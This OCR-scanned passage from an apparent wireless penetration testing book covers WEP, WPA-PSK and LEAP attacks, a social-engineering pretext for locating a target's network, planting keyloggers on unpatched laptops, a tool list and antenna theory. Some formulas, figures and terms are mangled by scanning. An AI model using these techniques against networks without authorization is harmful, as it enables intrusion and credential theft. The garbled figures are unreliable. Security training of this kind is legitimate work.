real security, and both are easily defeated by a decent penetration tester.

When an administrator deploys the WLAN with one of the available encryption
mechanisms, a penetration test can still be successful because of inherent weaknesses
with the utilized form of encryption. WEP is flawed and can be defeated in a
number of ways. WPA and Cisco’s LEAP are vulnerable to offline dictionary attacks.

Penetration Testing Wireless Networks

This book details many different methods and approaches for performing penetra-
tion tests against wireless networks. A successful penetration test can be performed
from many difterent platforms using many different tools. Regardless of the oper-
ating system(s) and the tools that are used, some basic principles exist when attacking
wireless networks. This section examines the basic types of attacks that are utilized
on wireless penetration tests.
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Target Identification

Many of the concepts for penetration testing wireless networks are the same as those
for wired networks. One major difference is that with a wired network, you gener-
ally have a defined target IP range, or, if the test is internal, plug into an Ethernet
port on your target’s network. With wireless penetration tests, organizations often
want you to locate or identify their network prior to beginning the test, in order to
simulate what a real attacker that was targeting their network could do. On some
engagements, you will be provided with the Extended Service Set Identifier (ESSID)
of the wireless network and/or MAC addresses of the access points your target has
deployed. In these cases, identification is relatively simple. On the other hand, if you
are expected to identify the network, this can be much more difficult.

Since wireless networks are common in both businesses and residences, pin-
pointing which network belongs to your target can be difficult, especially if they
don’t identify their organization in the ESSID. This is often the case as companies
often don’t use “XYZ_Inc_Wireless” for an ESSID. If your target is in a heavily
populated area or in an office building or business park, it can be frustrating trying
to figure out which network belongs to your target.

One way to increase your odds of identifying your specific target is by using
public source information-gathering techniques. Search engine queries, USENET
newsgroup searches, and so on, often provide a lot of information about organiza-
tions. With these results, you can compare project names, room locations, individual’s
names, and virtually any other piece of information that you gather against the list of
ESSIDs that you identify in your area target. You will often find that even though
your target didn’t name their wireless network after their company, they used a name
that has meaning to their organization.

Another method you can utilize to identify the network is to enter your target
organization’s facility and gauge signal strength. You will want to employ a little bit
of stealth on this reconnaissance mission, so a good wireless handheld device is per-
tect. Simply walking in to the facility and asking the receptionist a question while
you have a laptop in your backpack will accomplish this, but if you want to be a
little trickier, using a handheld comes in to play. An effective method is to walk up
to the receptionist while your WLAN discovery program is running on your hand-
held. Pull the PDA out and pretend to look in your contacts or calendar and then
ask the receptionist if she knows how to get to a certain room or a person’s office
that works for a different organization in the building. When you leave, you should
have gathered enough signal information to pinpoint your target.
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Regardless of the method you choose to identify your target, you should always
verify that you have identified it correctly with your penetration test’s trusted agent
or white cell prior to actually beginning attacks against the network.

Attacks

If your target network is unprotected, attacking it is very simple. Configure your
wireless network card to associate with the access point. This is becoming more and
more rare. More often than not you have to perform some sort of attack against the
security mechanisms in place on the wireless network. These attacks are discussed in
detail throughout this book, but you should familiarize yourself with the four basic
types of attacks against wireless networks:

m  Attacks against WEP
®m  Attacks against WPA
®m  Attacks against LEAP

®m  Attacks against networks utilizing a VPN

Penetration Testing WEP-encrypted Networks

There are two basic types of attacks against WEP-encrypted networks.

B Weak IV or EMS attacks
m  Chopping attacks

FMS attacks are the most difficult and time consuming. For this attack to suc-
ceed, a significant number of packets have to be captured in order to find weak IVs.
Once enough weak IVs have been collected, the WEP key in use can be cracked by
a number of different freely available tools. In addition to being time consuming,
most access point manufacturers have released firmware updates that reduce or elim-
inate the weak IVs that are transmitted. Chopping attacks, on the other hand, are
very eftective against WEP-encrypted networks. These attacks eliminate the need for
weak IVs and require only unique IVs be collected.

Regardless of the attack vector you choose when attacking WEP, you will need
to inject traftic back into the network in order to generate packets and IVs for col-
lection. Packet injection methods are covered throughout this book.
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Penetration ‘lesting WPA-encrypted Networks

WPA-encrypted networks provide a higher level of security than WEP; however,
some implementations of WPA can be defeated. There are two basic types of WPA:

m  WPA-PSK
m WPA RADIUS

WPA RADIUS uses a RADIUS server backend and is generally secure. WPA-
PSK can be defeated using a dictionary attack after collecting the four-way
Extensible Authentication Protocol Over Local Area Network (EAPOL) handshake.
To accomplish this, you may need to deauthenticate clients that are associated to the
network, forcing them to reconnect, and thus reestablish the four-way EAPOL
handshake. After the handshake has been captured, a brute-force dictionary attack
can successfully crack the PSK. In order for this type of attack to be successtul, the
passphrase used must be less than 20 characters and contained in the dictionary file.
This means that a very extensive dictionary must be used. This process can be time
consuming.

Recently, a new method of cracking WPA has been developed by the Church of
WiFi (www.churchofwifi.org). This method, called the Church of WiFi WPA-PSK
Rainbow Tables (www.renderlab.net/projects/ WPA-tables/) pre-hashes all of the
possible WPA-PSK combinations for the top 1,000 Service Set Identifiers (SSIDs) as
listed on WiGLE (www.wigle.net) for passphrases between 8 and 64 characters long.
This pre-hashing process reduces the amount of time required to crack WPA
exponentially.

Penetration lesting Against LEAP

LEAP was Cisco’s initial answer to the wireless security concerns that arose due to
the weakness of WEP. Because it is flawed in a similar manner to WPA (vulnerable
to a dictionary attack), it is no longer widely deployed, although you will occasion-
ally still run across it. Attacking LEAP has been automated using freely available
tools.

Penetration ‘lesting When a VPN is Utilized

One answer to the problems associated with wireless networks is to require wireless
users to utilize a Virtual Private Network (VPN) when accessing internal network
resources from the wireless network. While the only direct attacks against this
methodology is to find a network utilizing VPN software that is vulnerable to
attack, attacks against these types of networks are possible.
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One common method of deploying wireless in conjunction with a VPN is to
have an essentially open WLAN with little or no security measures required, and
then rely on the more secure VPN technology to keep attackers out. This type of
setup is ripe for the picking of an alert and patient penetration tester.

Most of the time, devices that are using the wireless network are laptop com-
puters. Because of the mobile nature of laptops, they have a tendency to miss the
regular patch cycles that desktop computers receive. Furthermore, if the WLAN is
deployed with no security measures, an attacker can take advantage of this by associ-
ating to the WLAN and finding a laptop that is behind on patches and vulnerable to
any number of exploits. You can then compromise one or more of these systems,
install a keystroke logger or backdoor program and, depending on the VPN that is
being utilized, either capture the required credentials or wait for the mobile resource
to connect to the internal network, and use it as a launching pad into the network.

Tools for Penetration Testing

Any penetration tester knows that without a strong toolkit your job is much more
difficult. Throughout this book, we dive into many of the best tools available to suc-
cessfully penetrate a wireless network regardless of the operating system you are
using. This book focuses on open source and/or freely available tools, although many
of them have commercial counterparts. Table 1.1 lists some of the most popular and
effective tools available for wireless penetration testing, their functionality, and the
operating system they are available for. This list isn’t all inclusive; however, it does
provide a good base for your wireless toolkit.

Table 1.1 Wireless Penetration Testing Tools

Operating

Tool Functionality System(s) Link
Kismet WLAN Discovery Linux www.kismetwireless.net
NetStumbler WLAN Discovery Windows www.stumbler.net
Kismac WLAN Discover, MAC OS http:/kismac.de

Full Suite of

Penetration Test

Tools
AirSnort WEP Cracker, Linux/Windows http://airsnort.shmoo.com

WLAN Discovery

Continued
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Table 1.1 continued Wireless Penetration Testing Tools

Operating
Tool Functionality System(s) Link
WEPCrack WEP Cracker Linux http://wepcrack.
(Windows with sourceforge.net
Cygwin)
AirCrack Suite WEP Cracker, Linux www.personalwireless.
Packet Generator org/tools/aircrack
Asleap LEAP Cracker Linux http://asleap.
sourceforge.net
CoWPAtty WPA Cracker Linux www.personalwireless.

org/tools/cowpatty

Conclusion and
What to Expect From this Book

Now that you have a basic understanding of WarDriving and the general principles
involved with performing a wireless penetration test, it’s time to delve further into
these topics. This book is designed to help penetration testers quickly learn the dif-
ferent ways that a wireless penetration test can be accomplished. One of the most
difticult pieces of both WarDriving and wireless penetration testing is determining
what antenna to use. Chapter 2 helps to demystify this by providing an under-
standing of antenna theory and how that relates to selecting the right antenna for
the job. Handheld devices are crucial to identifying the location of rogue access
points or, more importantly to the penetration tester, misconfigured wireless clients
in the workplace. Chapter 3 is devoted to using handheld wireless devices like the
HP iPaq and the Sharp Zaurus.

Chapters 4 through 7 teach you how to perform a wireless penetration test using
different operating systems and tools. Windows is covered in Chapter 4. Chapter 5
focuses on using Linux. Mac OSX and the comprehensive suite of penetration
testing tools available on it are covered in Chapter 6. One of the easiest ways to get
Linux tools running quickly and correctly is by using a bootable CD distro such as
Auditor. Chapter 7 details how to use this type of platform.

Once a WarDrive has been accomplished, you need to map out your WarDrives.
Chapter 8 delves into mapping options. One of the most effective ways to compro-
mise a wireless network is by using a Man-in-the-Middle (MITM) attack; Chapter 9
tells you how to do this. Another great tool for your arsenal is an access point run-
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ning custom tools on custom firmware, which is covered in Chapter 10. Finally,
Chapter 11 shows you how to identity wireless cameras and video resources using an
ICOM IC-R3, and then how to use them to your advantage.

Each chapter of this book is designed to stand on its own so that you can mix
and match those chapters that are beneficial to your environment without missing
out on valuable information that is contained in a difterent chapter. For instance,
attacking WEP is basically the same with a full-blown Linux installation or a
bootable CD distribution, but chances are you aren’t using both. This book covers
the topic completely so that you can choose the one that works for you.

Solutions Fast Track

The Origins of WarDriving

M  WarDriving is the act of moving around a certain area and mapping the
population of wireless access points for statistical purposes, and to raise
awareness of the security problems associated with these types of networks.
WarDriving does not in any way imply using these wireless access points
without authorization.

M The term WarDriving refers to all wireless discovery activity (WarFlying,
WarWalking, and so forth).

M The term WarDriving originates from WarDialing, the practice of using a
modem attached to a computer to dial an entire exchange of telephone
numbers to locate any computers with modems attached to them. This
activity was dubbed WarDialing, because it was introduced to the general
public by Matthew Broderick’s character, David Lightman, in the 1983
movie, WarGames.

M The FBI has stated that WarDriving, according to its true meaning, is not
illegal in the U.S.

Tools of the Trade or “What Do [ Need?”

M There are two primary hardware setups for WarDriving:
® A laptop computer
= A PDA
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4]

N ®

In order to WarDrive, you need:
m A wireless NIC, preferably with an external antenna connector.
®m  An external antenna of which two types are primarily used:

® Omni-directional antennas are used to WarDrive when you want
to pick up as many access points as possible in all directions.

® Directional antennas are used to WarDrive when attempting to
pinpoint particular access points in a known location or direction.

A pigtail with the proper connectors for attaching your antenna to your
wireless network card.

A handheld GPS capable of NMEA output.

An external power source such as a power inverter or cigarette lighter
adapter is beneficial.

Putting It All Together

4]

4]

When using Windows operating systems, you should disable the TCP/IP
stack to avoid inadvertently connecting to misconfigured wireless networks.

When using a Pocket PC or Windows CE, you should set a non-standard
IP address and subnet mask to avoid inadvertently connecting to
misconfigured wireless networks.

Because the tools used in the Linux operating system use monitor mode,
no additional configuration is necessary.

Penetration Testing Wireless Networks

4]

N

It 1s important to understand the vulnerabilities associated with wireless
networking before performing a penetration test

Open networks are inherently vulnerable

Due to known vulnerabilities with the RC4 algorithm utilized by WEP,
networks encrypted using WEP can be compromised.

WPA-encrypted networks can be compromised with a dictionary attack.
More recently, rainbow tables have been generated for common SSIDs
utilizing WPA.
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M Cisco’s LEAP (although not commonly used anymore) can be
compromised using automated tools.

M There are a large number of tools available to a wireless penetration tester;
some open source and some commercial.

Frequently Asked Questions

The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.

Q:

A:

Since store-bought wireless NICs don’t have external antenna connectors, where
can I purchase cards that have them?

Both Wireless Central (www.wirelesscentral.net) and Fleeman, Anderson, and Bird
Corporation (www.fab-corp.com) sell cards with external antenna connectors. They
also sell pigtails, antennas, and other wireless accessories.

. What 1s the difference between using the NMEA standard when WarDriving

and the Garmin proprietary standard?

. The NMEA standard repots its signal to your WarDriving software every two

seconds. The Garmin standard reports its signal once each second. The Garmin
standard can provide a more accurate location for each access point found while
‘WarDriving.

: Why can’t I find an 802.11aPEMCIA NIC with an external antenna connec-

tion?

. Because 802.11a cards that are sold today use both UNII1 and UNII2. The FCC

has ruled that any UNII1 devices may not be connected to an external antenna.
These restrictions apply only in the U.S.

: What are the frequencies used by of each of the 2.4 GHz channels?

: There are 11 channels used in the U.S. and Canada and 13 channels in Europe

on the 2.4 GHz spectrum starting with Channel 1 at 2.412 GHz and incre-
mented by 0.005 GHz for each channel. See Table 1.2 for additional details.
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Table 1.2 Frequency Assignments for 2.4 GHz Band

Channel GHz
Channel 1 2.412
Channel 2 2.417
Channel 3 2.422
Channel 4 2.427
Channel 5 2.432
Channel 6 2.437
Channel 7 2.442
Channel 8 2.447
Channel 9 2.452
Channel 10 2.457
Channel 11 2.462
Channel 12 2.467
Channel 13 2.472
Q: Both 802.11a and 802.11g networks support speeds of up to 54 Mbps. What is

A:

the difference between the two standards?

There are many differences between the two standards. Two primary ones are
that 802.11a operates in the 5.0 GHz spectrum while 802.11g operates in the
2.4 GHz spectrum. Because of the frequency spectrum they’re associated with,
802.11g networks support greater distances than 802.11a networks.

: What is 802.111?

: 802.111 is an amendment to the 802.11 standard that is also referred to as

WPA2. 802.111 requires using the Advanced Encryption System (AES) encryp-
tion algorithm.

. Are there any good online information resources that WarDrivers should check

out?

. User-supported forums are an excellent place to learn and exchange information

with other WarDrivers. Two of the best are the NetStumbler Forums
(http://forums.netstumbler.com) and the Kismet forums
(www.kismetwireless.net/forum.php). Topics ranging from specific hardware
issues to ethics to topical news discussions can be found at both sites.
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Introduction

This chapter discusses how antennas work and how to choose the right antenna for
conducting wireless network penetration testing. It also examines the various types
of antennas and their related devices. The Institute of Electrical & Electronics
Engineers (IEEE) standard for wireless Ethernet networking is 802.11. Contained
within 802.11 are the three most commonly used network types: 802.11a, 802.11b,
and 802.11g. The terms “wireless networks,” “802.11,” and “wireless Ethernet” are
used interchangeably throughout this chapter. The terms “cable,” “wire,” and “trans-
mission line” are also used interchangeably.

What is an antenna? Antennas are everywhere, from small antennas on cell
phones and walkie-talkies, to huge television and commercial radio transmission
aerial antennas that climb thousands of feet into the air. However, the actual function
of an antenna is a mystery to a lot of people. In its simplest form, an antenna is a
device (wire) for transmitting and receiving electromagnetic waves, which is attached
to a tower or some other type of structure. Depending on their use and operating
frequency, antennas can take many forms, including a single piece of wire, a dipole, a
yagi array, and so on.

Wavelength and Frequency

Some common terms regarding radios and antennas are wavelength and frequency.
Whenever a signal travels on a wire or through the air, it takes the form of an alter-
nating cycle electric wave (see Figure 2.1). This wave’s current reverses from a posi-
tive aspect to a negative aspect and then back again. This reversal, or alternation, is
known as an Alternating Current (AC). One reversal, where the current goes posi-
tive and then negative, makes up a single cycle. A single cycle is called a Hertz; there-
fore, one cycle per second is 1 Hertz (Hz). The frequency is the number of Hz’ (or
cycles) that occur within 1 second. If the time span is 1 second, the RF wave will
have a frequency of 1 Hz. (see Figure 2.1).

The standard prefix multipliers kilo (thousands), mega (millions), and giga (billions)
are used to denote increases in frequency in thousands, millions and billions of cycles
per second.

B One kilohertz = one thousand cycles per second = 1 KHz
B One megahertz = one million cycles per second = 1 MHz

®  One gigahertz = one billion cycles per second = 1 GHz
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Figure 2.1 The Relationship of Wavelength and Cycle with a Radio Wave
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Most wireless networking takes place on the WiFi 802.11b and 802.11g stan-
dards. Both of these standards operate at 2.4 to 2.5 GHz. Frequency groupings like
this are called bands. WiFi 802.11a uses frequencies between 5.1 GHz to 5.8 GHz.
Both of these bands are commonly called Industrial Scientific Medical (ISM) bands,
because they are designated by the various governmental agencies that regulate

radios primarily for use in industrial, scientific, and medical radio traffic.

The wavelength is the physical length of a radio signal. This measurement is based

on the metric system; however, English measurements can also be used. The metric

scale is always used when speaking of the bands (or areas) of the RF spectrum where

radio signals are grouped. While most RF bands have common names, it is not

unusual for radio experts to call them the 70 centimeter band,” or the “160 meter

band.”

There is a direct mathematical relationship between wavelength and frequency,

which can be expressed through the equation:

~ 300,000
s

A

where:

®m )\ = wavelength in meters

®m [ = frequency in kilohertz
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or:

where:

®m )\ = wavelength in meters

®m [ = frequency in megahertz

or:

where:

® A = wavelength in meters
B f= frequency in gigahertz

For example, 2.45 MHz (2450 MHz) is the exact center of the standard WiFi
channels for both 802.11b and 802.11g.To determine the wavelength corresponding
to that frequency, the formula was applied like this:

A= 2 =0.124m =12.4cm = 4.88 inches
2.45

“Why do we care about the wavelength of an antenna?” When a signal is trans-
ferring between being an RF signal in space and an AC signal on the wire, the
transfer is more efficient when the antenna’s physical size is a multiple of or a frac-
tion of the wavelength. This is because of resonance, meaning that if the wavelength
matches the physical size of the antenna, the antenna will oscillate easier at the fre-
quency of the signal. This makes changing the type of signal more efficient.
Electrical inefficiencies in a signal transfer to or from the air can result in less usable
distance (known as a range) that the antenna can reach. In extreme examples, the
inefficiencies are so bad that they cause damage to the transmitter

Quarter-wavelength and half-wavelength antennas are commonly used in many
radio applications, including wireless networking. A quarter-wavelength antenna is
3.1cm (1.221in) long, and a half-wavelength antenna is 6.2cm (2.44in) long.
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Notes from the Underground...

Heinrich Rudolph Hertz

The term Hertz is used to denote the number of cycles per second (or the fre-
quency) that radio waves oscillate. The term comes from the name of the 19th
century German scientist and physicist, Heinrich Rudolph Hertz (1857-1894).

Hertz is thought to be the first person to broadcast and receive radio waves
in a laboratory, using an apparatus known as a spark generator. He also per-
formed experiments dealing with how radio waves are reflected, refracted, and
polarized, as well as what causes radio interference and velocity of radio waves.
His published results of these experiments are said to have inspired the young
Guglielmo Marconi into attempting to use the mysterious Hertzian waves (as they
were then known) to send signals over long distances without wires. This led to
the invention of Marconi’s wireless telegraph—the first radio. As a tribute to the
Hertz's work, his name is used as the unit of frequency.

In general, when we talk about antennas, we're talking about the entire antenna
system, not just the radiator that actually radiates the RF signal. (see Figure 2.2). An
antenna system includes the radiating antenna, the part that makes the conversion to
or from an RF signal, the transmission or feed line that brings the signal to the
antenna, and any connectors or coupling devices that connect the actual antenna to
the line and the line to the radio. Some of the antennas discussed in this chapter are
simple systems with little more than an antenna and a single connector that plug
directly into a radio. However, the majority of systems that we discuss include an
antenna, a transmission line, and several connectors.

Terminology and Jargon

In order to be able to talk about antennas and radios, you need to understand the
terms and the jargon. Just like with computers and networks, there is a distinct radio
terminology with its own technical jargon. And while you don’t have to know all of
these terms by heart, they are used continually in the following sections where we
talk about how to choose an antenna. Therefore, the following is a brief summary of
some of the common technical radio-related words and their meanings.
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Figure 2.2 Antenna System
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Radio Signal

A radio signal is a RF wave that has been changed to carry some information. The
manner in which the information is imparted to the radio wave is known as modula-
tion. Several difterent modulation techniques are used in wireless networking,
including Direct Sequence Spread Spectrum (DSSS), Frequency Hopping Spread
Spectrum (FHSS), Complementary Code Keying (CCK), and Orthogonal
Frequency-Division Multiplexing (OFDM). Normally, you don’t have to be con-
cerned with the type of modulation as part of the physical hardware of a radio.

Noise

In the RF sense of the word, noise is the measurement of how many stray RF signals
are in the same frequency area. Stray signals are useless and therefore, undesirable. In
the same way that background noise in a crowded restaurant can interfere with a
conversation between people at the same table, RF noise from nearby users can
interfere with the transmissions on a wireless network. RF noise can also come from
other unintentional RF transmitters. Most electrical devices (e.g., electric motors)
produce some RF noise. Additionally, there are natural sources of RF such as the
sun.
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The level of background RF noise is also referred to as the noise floor. The typical
noise floor for 802.11b/g signals is usually about -90 dBm to -100 dBm.

Decibels

The magnitude of power in an electronic signal can and does difter dramatically. This
1s especially true with radio waves. While the common power output of a radio
transmitter is expressed in watts, so much loss in power occurs when a signal travels
any distance through space, that when it is finally received, it is down to the thou-
sandths of a watt. In order to have common ground between the magnitude levels,
the ratio of the power levels is used. The term used to describe that ratio is Bel,
which was first used by scientists at the Bell Telephone Laboratories in the 1920s as a
measure of telephone signals. It is named after Alexander Graham Bell, the inventor
of the telephone. Because Bel units are very large, the decibel (dB) (or one-tenth of a
Bel) became the unit that is commonly used.

The equation for decibels is:

dB=10%*log,, (p)

where p = the power reference.

When discussing radio signal power in the bands used by wireless networks, the
reference is to one milliWatt (mW), or one thousandth of one watt. Therefore, the
equation becomes:

dBm=10*log,, (I mw)

where dBm indicates decibels referenced to 1 mW.

Based on this information, we determine that a radio transmitting O dBm sends
out 1 mW of power, a 10 dBm transmitter sends out 1/100 of a watt or 10mW watt,
and a transmitter with a 30 dBm signal is transmits at a full Watt (see Table 2.1).

Table 2.1 Decibel to mW Conversion

Decibels (dBm) mWs

T mw
1.3 mW
1.6 mW
2.0 mW
2.5 mW
3 mW

u b W N = O

Continued
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Table 2.1 continued Decibel to mW Conversion

Decibels (dBm) mWs

6 4 mWw

7 5mW

8 6 mW

9 8 mW

10 10 mW (1/100 Watt)
11 13 mW

12 16 mW

13 20 mW

14 25 mW

15 32 mW

16 40 mW

17 50 mW

18 63 mW

19 79 mW

20 100 mW (1/10 Watt)
21 126 mW

22 158 mW

23 200 mW

24 250 mW (1/4 Watt)
25 316 mW

26 398 mW

27 500 mW (1/2 Watt)
28 630 mW

29 800 mW

30 1000 mW (1 Watt)

It 1s typical to see negative numbers used to show the decibels of a received

signal. This is due to the free space loss, which is the loss the signal suffers as it travels

through space. Negative numbers represent a loss, or attenuation of a signal, while

positive numbers indicate a signal addition or gain.

www.syngress.com



Understanding Antennas and Antenna Theory * Chapter 2

Gain

When used in reference to radio antennas, the term gain is an expression of how
much of an increase an antenna adds to a radio signal. Because antennas are passive
devices without power, they do not actually amplify the signal. Rather, they act like
a reflector in a flashlight, helping to concentrate and focus the signal.

Most antennas add a certain amount of gain to a signal (listed on the antenna or
the packaging). The measurement of an antenna’s gain is shown as decibels Isotropic
(dBi) or decibels Dipole (dBd). In this context, both “isotropic” and “dipole” indicate
different ways that a measurement can be made in comparison to an isotropic
antenna or to a one-half wavelength dipole antenna.

To compare an antenna that has a dBi rating to one that has a dBd rating, sub-
tract 2.15 from the dBi rating to arrive at dBd. For example, if you are trying to
compare the ratings of two antennas, one rated at 5 dBi and the other rated at 5dBd,
you would determine the common means of measurement by subtracting from the
dBi figure. The equation would be:

5-2.15=2.85

or

5dBi-2.15=2.85dBd

where one antenna is rated at 2.85dBd and the other is rated at 5dBd.

As a general rule, when the gain of an antenna increases, so does the physical
size. For example, the 4.5 dBi gain mast-mounted omnidirectional antenna (shown
in Figure 2.5) is just under 8 inches in length; a 9dBi version of the same antenna
measures 25 inches long.

Another general rule is that as the gain increases, so does the range or distance
that a usable signal can be obtained from. Also, as the gain and range increase, the
pattern of the antenna changes, which may have undesirable effects.

Attenuation

Attenuation 1s the reduction or loss of signal either through free space, or through the
various elements making up the antenna system. Each element of an antenna system
other than the antenna itself will cause some attenuation, including the cables and
the connectors.

If you are adding components to an antenna system, it is important to make sure
that the total attenuation does not exceed the RF signal output of the radio. The
signal output is usually shown on the radio card or the documentation, but you will
need to add up the attenuation of the antenna components yourself.
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Signal-to-noise Ratio

The Signal-to-noise Ratio (SNR) is the measurement of how high a given signal is
above the noise floor. It can be determined though this formula:

S-N=SNR
where

®m S is Signal Strength in dBm
® N is Noise in dBm

For example, if your wireless networking equipment shows that you have a
signal strength reading of -82dBm and a SNR reading of -96dBm, then by sub-
tracting -96dBm for -82dBm you can see that the SNR is 14dBm.

-82dBm--96dBm=14dBm
Multipath

Owning to the physical nature of the microwaves used in wireless networking, the
waves tend to reflect off of many difterent objects. How well the waves are reflected
depends on the material of the object, the distance from the RF source, and the
strength of the waves. Because the waves can bounce and reflect off of many dif-
ferent objects in a given area, multiple RF waves will reach a receiver through
slightly different paths and at slightly different times. This condition is known as mul-
tipath.

Multipath is good because it allows signals to reach areas where the RF waves
might not otherwise reach. Multipath is bad when those signals arrive out of syn-
chronization with each other and cause interference.

Diversity

When used in a wireless networking context, the term diversity relates to antennas and
multipaths. A diversity antenna configuration examines the RF signal from multiple
antennas and uses whatever antenna offers the best signal. Using diversity allows radios
to better deal with multipath, and reduces interference. Diversity setups are commonly
seen on wireless access points and routers, however, many wireless networking cards also
have diversity switching built in. Diversity applications work best when used with the
supplied antennae at the original fixed distance.
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Impedance

Impedance is the electrical load on an antenna circuit. When correctly matched,
impedance helps achieve the maximum power transfer of the RF waves between the
antenna and the radio. The standard symbol for ohms is the Greek letter Omega
(€)).You may see the impedance of an antenna or cable noted as “50 ohms (Q).” If
there is no impedance match, the attenuation is so high, the signal may be greatly
diminished or killed completely.

The key thing to remember regarding impedance is to buy and use matching
components. In most mobile radio systems (including 802.11b/g), the standard
impedance is 50 Q.

To use antennas in WarDriving or wireless penetration testing, you don’t have to
worry about correctly matching the impedance of antenna system components,
other than to make sure that everything is the same. Again, this is usually 50 Q for
most 802.11 radios.

Polarization

Radio waves are oriented to the ground as they are emitted from an antenna. This
orientation is called polarization. There are three typical polarization techniques used
in radio systems: vertical, horizontal, and circular. When a vertical polarization is
used by a radio system, another radio system using a horizontal polarization cannot
use the signal, and vice versa. In general, most wireless networking systems use ver-
tical signal polarization, although many wireless CardBus cards used in laptops have
horizontal polarization. This tends to cause some signal loss, thus reducing their
effectiveness when used with horizontal polarized access points. Figure 2.2 illustrates
how the signals appear to move in relation to the ground.

Figure 2.3 Horizontal and Vertical Polarizations

Vertical

Polarization Polarization
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Circular polarization requires special helical antennas, but will also work with
vertical and horizontal signals with a small amount of signal loss. However, circular
polarization is rarely used in wireless networking systems.

The shape of the antenna housing does not always indicate the polarity of the
REF signal. The housing of an antenna can be mounted vertically and still emit and
receive horizontal signals. Most antenna manufacturers state the signal polarization of
a given model of antenna in their documentation. On some antenna models, the
polarization can be changed by changing the orientation of the antenna.

Cable

The transmission cable, RF cable, and antenna cable carry the signal between the radio
and the antenna. As previously noted, the signal impedance of most wireless net-
working components is 50 €, including the cable. The RF cable used in wireless
networks is coaxial, meaning the cable is circular with all parts of the cable wrapped
around a common axis. Because of this, RF cable is often referred to as coax cable or
coax. One important item to watch for when buying cable is its attenuation value.
The attenuation of any RF cable is known by the manufacturer and should be
detailed on the cable packaging or available through on the manufacturers’ Web site.
In the case of RF cables, the attenuation is usually measured per foot. So, if a given
type of cable is known to have a loss of -1 dBm per foot, it is easy to determine that
a 10-foot length of that cable will result in a loss of -10 dBm. Generally, the greater
the diameter of the cable, the less the attenuation.

The Times-Microwave brand of cable has emerged as the de facto standard used
in wireless networks. The Time-Microwave brand cable is designated with a prefix of
“LMR” followed by three or four digits showing the cable diameter in thousandths
of an inch. Because Times-Microwave cable is the effective standard, it is not unusual
to see a statement such as “Use LMR-200 or equivalent” when a particular cable
type is required for a given application.

One type of cable is a pigtail, which is a cable with a different connector on
each end. Pigtails are usually used to convert between an 802.11 card or other radio
device and a standard connector on the main cable of the antenna system. Normally,
pigtails are less than 1 foot in length. Figure 2.4 shows an 802.11b WiFi card and its
pigtail. The connector on the left joins to a standard antenna cable, and the con-
nector on the right attaches directly to the card itself.
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Figure 2.4 Pigtail Cable
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Connectors

Connectors are used to attach the various components of an antenna system together.
The connectors used in wireless networking commonly have the designators “IN,”
“MC,”“SMA,” and “TNC.” When using a connector, you need to make sure that
you use the same type, one of each gender (e.g., join an “N-Male” to an “N-
Female,” a “TINC-Male” to a “TNC-Female, and so on). Some of these connectors
come in a subtype called Reverse Polarity (RP), where the center conductors of the
male and female components have been switched. RP connectors have RF pre-
ceding the type (e.g., RP-TNC). Any connectors used will cause attenuation, usually
about -1 to -1.5 dBm per connector.

Differences Between Antenna Types

In general, antennas come in two types: omnidirectional and directional.
Omnidirectional antennas send and receive signals equally well in all directions, sim-
ilar to a bare light bulb whose light radiates out in all directions.

Two small omnidirectional antennas along with a wireless card can be seen in
Figure 2.5.The antenna on the left is approximately 6 inches in height and has a
magnetic base that allows it to be easily mounted on a car body. The antenna on the
right is made for use on tabletop. Both have a gain of approximately 5 dBi.
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Figure 2.5 Small Omnidirectional Antennas - 5 dBi Gain

F

Omnidirectional Antennas

Omnidirectional antennas are easy to identify, because they are generally a vertical
wire similar to that in Figure 2.5, or are contained in a vertical housing called a
radome. A radome 1s a cover that is transparent to the radio waves. Figure 2.6 shows a
2.4GHz omnidirectional antenna contained in a plastic radome. The radome is 7.7
inches in length and is mounted on a mast approximately 8 feet above a roof.

In Figure 2.7, a 5dBi “blade” antenna is shown. This omnidirectional antenna is
slightly over 4 inches in length, is about 3/4 inches wide, and is designed to be
mounted on the inside of a car or truck window. To that end, it has adhesive foam
on the window side to aid in placing it on the window. This type of blade antenna
can also be attached to the cover of a laptop.

Omnidirectional Signal Patterns

Figure 2.8 shows how an omnidirectional antenna pattern appears. If you look down
at an omnidirectional antenna from the top, the signal pattern appears circular.
However, if you look at the antenna from the side, the earlier analogy to a light bulb
breaks down. The signal pattern begins to look like a doughnut sliced through the
middle, with the antenna in the doughnut hole.
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Figure 2.6 Mast-mounted Omnidirectional Antenna - 4.5 dBi Gain

Figure 2.7 A Window-mount “Blade” Omnidirectional Antenna - 5 dBi Gain.

Earlier in this chapter we said that as the gain increases, the signal pattern
changes. In the case of an omnidirectional antenna, the pattern remains circular, but
the cross-section begins to flatten (see Figure 2.9). As previously noted, an antenna
doesn’t actually amplify a signal, because it is a passive device without power.
However, it adds gain to the signal by focusing on the area where RF energy is
transmitted or received. Because we cannot increase this power without violating
laws of physics, the gain is obtained by shaping the signal pattern.

www.syngress.com



46 Chapter 2 * Understanding Antennas and Antenna Theory

Figure 2.8 RF Omnidirectional Signal Pattern
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Figure 2.9 Increasing the Gain of an Omnidirectional Antenna
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Increased gain omnidirectional signal pattern

Directional Antennas

Directional antennas send and receive signals in one direction only, usually in a tightly
focused, very narrow beam. The signal pattern from a directional antenna has a cigar
shape, and looks the same from the top as from the sides. This shape is referred to as
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a lobe. Directional antennas usually have small side lobes, which are typically ignored
because they don’t do much for a signal. However, you should be aware that they
exist in case you find a small signal off to the side of a directional antenna.

Directional antennas come in a variety of shapes, sizes and designs that fluctuate
widely according to their intended purpose. Common directional antenna designs
include panel antennas, parabolic or “dish” antennas, sector antennas, grid antennas,
and the Yagi antenna. All of these have different applications that are highly depen-
dant on the particular setup.

Sector antennas are made to cover a wide pie-shaped area, or sector, of a circle.
The width of the sector they cover typically ranges from 60 degrees to 180 degrees.
They are usually used to provide specific regional coverage for broadcast areas of
Wireless Internet Service Providers (WISP) or similar applications

Directional Antenna Types

The following photographs show a number of directional antennas, which are repre-
sentative of the various directional types.

Grid

Figure 2.10 shows a grid type directional antenna. Mainly used in Point-To-Point
communications, these antennas are used where the antennas on either end of a link
are fixed on masts or towers and only communicate with each other. These antennas
usually have a gain of about 21dBi to 24dBi. This model has a gain of 21dB1 and the
beamwidth, or width of the RF beam, is about 12 degrees.

Figure 2.10 A Grid-type Directional Antenna
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Panel

Figure 2.11 shows a panel type directional antenna. Panel antennas are also mainly
used in Point-To-Point communications. This particular one measures 15” square
